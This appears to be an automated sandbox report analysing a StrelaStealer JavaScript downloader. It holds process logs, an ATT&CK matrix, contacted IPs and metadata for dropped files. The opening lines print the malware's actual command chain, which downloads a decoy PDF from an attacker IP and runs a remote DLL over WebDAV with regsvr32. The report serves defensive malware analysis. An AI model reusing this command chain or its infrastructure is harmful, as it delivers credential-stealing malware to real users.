Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2851627061208688962.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2851627061208688962.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.36	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2255634848.000001297B800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3459354155.00000129760C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000002.2247691963.000002AE4B998000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2247736302.000002AE4B9EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2245086377.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247736302.000002AE4B9BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247691963.000002AE4B998000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2244924456.000002AE4B9EA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588551
Start date and time:	2025-01-11 02:17:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2851627061208688962.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 34.237.241.83, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:18:45	API Interceptor	25x Sleep call for process: powershell.exe modified
20:18:49	API Interceptor	1x Sleep call for process: net.exe modified
20:18:50	API Interceptor	2x Sleep call for process: svchost.exe modified
20:18:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
bg.microsoft.map.fastly.net	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726297559482311
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0M:9JZj5MiKNnNhoxul
MD5:	4ECC619DAE6F100EDA0E1F486A5D442D
SHA1:	CCC2A5962CDA1C545183019FB47B9406533225BD
SHA-256:	F8F53C4E9A84C3EBF107B3CB5B0AD19ED97C76CF073401E68AEDA7280B898962
SHA-512:	0081ECF98C523388EB15E8CD3FC573353E2579EE857B83C1D28016C4BCA50D414E4D1357B33F2B57FC45164F13DB80C4F0DCC35EEB4E86F04628A9498F1A6959
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x4162af16, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555746228881258
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	21ACCC8E7302BCA6165A1A85096323FE
SHA1:	E61A45B9570DB65ECB27482529135899DF94EA74
SHA-256:	32C3155357CDA225A2B5DACCF6825B27137204B8750F4DC2AF734328E9B87ACC
SHA-512:	850F080E55A3D4DF17106F5AB5E5EE848C069476B90474BAED41673ADFF38ADC7CE3CBCCCE730E111E37348CC255212BF2A0E881838401FAE79B7429222CF0A1
Malicious:	false
Preview:	Ab..... .......7.......X\...;...{......................0.e......!...{?.2....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................=2....}...................L.2....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07955083475199429
Encrypted:	false
SSDEEP:	3:jAl/yYegB4p0ENaAPaU1lFOp/YlluxmO+l/SNxOf:jAl6zc4p0ENDPaUspQgmOH
MD5:	7E79E5128FF3E797555DC196A9FA3B96
SHA1:	9E24054B000C90ACBFF929F0AE1B9D88D2168228
SHA-256:	A4D6B19EC685FAB2B811F1A43E279084AC7DACEC13DCB3FAAFC61044F082C319
SHA-512:	79B4687016D7418886FBA9085712564727ABB58645E212567036019E56E04374AAB0F4448319F9AC44C11F0C3BC9E53A610FF13F460A8C73AFE38F3C91A8783D
Malicious:	false
Preview:	.T3......................................;...{..2....}...!...{?..........!...{?..!...{?..g...!...{?...................L.2....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.137016514585256
Encrypted:	false
SSDEEP:	6:iO4qVJuQ+q2PN72nKuAl9OmbnIFUtSqVJggZmwsqVJBQVkwON72nKuAl9OmbjLJ:7nJuQ+vVaHAahFUtZJgg/LJBQV5OaHAR
MD5:	24A8270C7C420CCDDB2BF347093F8150
SHA1:	454912379E4566F0082CDD9D0DB6EA9C98822843
SHA-256:	98A8E767B6BC11464565420FAA9323C7A178DF84A837AAD7971B254D912542C6
SHA-512:	FABB1B93C3EF7F6CD0748216FA4C6D9192034F37A79E4F4D81EE99BC95BCDF4B8F199193CA087BC44C0C23D6AE3A9572D72374941F125DD4717517FE7F025F86
Malicious:	false
Preview:	2025/01/10-20:18:50.236 192c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:18:50.238 192c Recovering log #3.2025/01/10-20:18:50.239 192c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.137016514585256
Encrypted:	false
SSDEEP:	6:iO4qVJuQ+q2PN72nKuAl9OmbnIFUtSqVJggZmwsqVJBQVkwON72nKuAl9OmbjLJ:7nJuQ+vVaHAahFUtZJgg/LJBQV5OaHAR
MD5:	24A8270C7C420CCDDB2BF347093F8150
SHA1:	454912379E4566F0082CDD9D0DB6EA9C98822843
SHA-256:	98A8E767B6BC11464565420FAA9323C7A178DF84A837AAD7971B254D912542C6
SHA-512:	FABB1B93C3EF7F6CD0748216FA4C6D9192034F37A79E4F4D81EE99BC95BCDF4B8F199193CA087BC44C0C23D6AE3A9572D72374941F125DD4717517FE7F025F86
Malicious:	false
Preview:	2025/01/10-20:18:50.236 192c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:18:50.238 192c Recovering log #3.2025/01/10-20:18:50.239 192c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.144754135198041
Encrypted:	false
SSDEEP:	6:iO4qVu6N+q2PN72nKuAl9Ombzo2jMGIFUtSqVulZZmwsqVYtVkwON72nKuAl9OmT:7nlIvVaHAa8uFUtZu/LYT5OaHAa8RJ
MD5:	5A939DBB8D487BBA889E85CCBE862E29
SHA1:	1A89C2A31C66FA5092B4A91C7F1EC07201C97C50
SHA-256:	9576F662DF9141767467207DAAD6E3A231CE0EE5B1D3ADCAA94BBEEEECE3961A
SHA-512:	8E47B469F68830CFD541D96B2EF84A5883DE84521EF6B1A3DE195B8762A641ACF0C8019250FCBB644FACEC95B3902B99D55034B13E4DEE1F3DCE7F26C92CF881
Malicious:	false
Preview:	2025/01/10-20:18:50.366 15c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:18:50.369 15c8 Recovering log #3.2025/01/10-20:18:50.370 15c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.144754135198041
Encrypted:	false
SSDEEP:	6:iO4qVu6N+q2PN72nKuAl9Ombzo2jMGIFUtSqVulZZmwsqVYtVkwON72nKuAl9OmT:7nlIvVaHAa8uFUtZu/LYT5OaHAa8RJ
MD5:	5A939DBB8D487BBA889E85CCBE862E29
SHA1:	1A89C2A31C66FA5092B4A91C7F1EC07201C97C50
SHA-256:	9576F662DF9141767467207DAAD6E3A231CE0EE5B1D3ADCAA94BBEEEECE3961A
SHA-512:	8E47B469F68830CFD541D96B2EF84A5883DE84521EF6B1A3DE195B8762A641ACF0C8019250FCBB644FACEC95B3902B99D55034B13E4DEE1F3DCE7F26C92CF881
Malicious:	false
Preview:	2025/01/10-20:18:50.366 15c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:18:50.369 15c8 Recovering log #3.2025/01/10-20:18:50.370 15c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0393b021-8ea7-4b6f-915b-dc88b071921c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.934243121202921
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDusBdOg2Hscaq3QYiubcP7E4T3y:Y2sRdsyzdMHP3QYhbA7nby
MD5:	D3D85F177658CA69051B101BF42023A9
SHA1:	35E80856A4D9B40F546C1C05C1BF4A8BEA6D51AA
SHA-256:	3DE2D9951D0DD966D1244EFCCA65EAF39B047891E05F0E1A090D33C653DA84F3
SHA-512:	06A906F96DA4B31A2600D507E851837E9AA56FCCB237A06548B67405FA1B4E75F98E7D7DBA64C77E06D50F70B5F862289C9C69833CC45CB9FCF75D28F0BAC305
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118341461212","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138848},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.934243121202921
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDusBdOg2Hscaq3QYiubcP7E4T3y:Y2sRdsyzdMHP3QYhbA7nby
MD5:	D3D85F177658CA69051B101BF42023A9
SHA1:	35E80856A4D9B40F546C1C05C1BF4A8BEA6D51AA
SHA-256:	3DE2D9951D0DD966D1244EFCCA65EAF39B047891E05F0E1A090D33C653DA84F3
SHA-512:	06A906F96DA4B31A2600D507E851837E9AA56FCCB237A06548B67405FA1B4E75F98E7D7DBA64C77E06D50F70B5F862289C9C69833CC45CB9FCF75D28F0BAC305
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118341461212","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138848},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25109842478104
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7fvXd:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhl
MD5:	DF9A36170091D1179F7B64665A9C7144
SHA1:	E813366737406AB309EA4CD640C2CC022E8C5256
SHA-256:	8F3787D3105FB3299FF4E9D5D404851108D9970A860A6B0137D4E62523B9A131
SHA-512:	00039DE4ACB561D955FED0FFBA389F5E8AF48E5AEE9188ECBE7A0F390F788072FB8D77A808A90288DB3C5FCF2EFADF7584CBD26668CEC4494E5F696189255B01
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.145430021883521
Encrypted:	false
SSDEEP:	6:iO4qVNHN+q2PN72nKuAl9OmbzNMxIFUtSqVN15ZmwsqVN3JGHNVkwON72nKuAl9c:7nNHIvVaHAa8jFUtZN15/LNZGT5OaHAo
MD5:	D1FC5A7DF7E1CD950785F836A9EACCAC
SHA1:	66083204DBA62DF9F807D29CF8A2B1B32EB082D3
SHA-256:	A0F9F569CCC4861975907368E79AFDD51B4CAF1F875D2B3D9F73B7589AC04AAB
SHA-512:	C03CC17FE1B48D86A697105E59229C3235925CEBB531868FEFD10E6B45B30FA276C0CA44DB992D3474634EF811D9B323F290113E67A0FF350781ACA14DE7EED0
Malicious:	false
Preview:	2025/01/10-20:18:50.696 15c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:18:50.698 15c8 Recovering log #3.2025/01/10-20:18:50.699 15c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.145430021883521
Encrypted:	false
SSDEEP:	6:iO4qVNHN+q2PN72nKuAl9OmbzNMxIFUtSqVN15ZmwsqVN3JGHNVkwON72nKuAl9c:7nNHIvVaHAa8jFUtZN15/LNZGT5OaHAo
MD5:	D1FC5A7DF7E1CD950785F836A9EACCAC
SHA1:	66083204DBA62DF9F807D29CF8A2B1B32EB082D3
SHA-256:	A0F9F569CCC4861975907368E79AFDD51B4CAF1F875D2B3D9F73B7589AC04AAB
SHA-512:	C03CC17FE1B48D86A697105E59229C3235925CEBB531868FEFD10E6B45B30FA276C0CA44DB992D3474634EF811D9B323F290113E67A0FF350781ACA14DE7EED0
Malicious:	false
Preview:	2025/01/10-20:18:50.696 15c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:18:50.698 15c8 Recovering log #3.2025/01/10-20:18:50.699 15c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44429297437105
Encrypted:	false
SSDEEP:	384:ye6ci5thiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mys3OazzU89UTTgUL
MD5:	956EABC0F309A1B9170FFD546A331D70
SHA1:	AE1ADBEA5B9CA91365F8503028B53E5FDC94950C
SHA-256:	FDA78B68D049C37B4B20BE91F331D92165CA27CC78F033E69676F0EE04585F4A
SHA-512:	1FFB1217DE07E219125E24AC3BB08D7F981E1D9CE21835DDD2D422BEB9CA92134A34203FED1AD60E6A6B7EA0436B281A0A2E7171F730071C2E391E885EEC0820
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

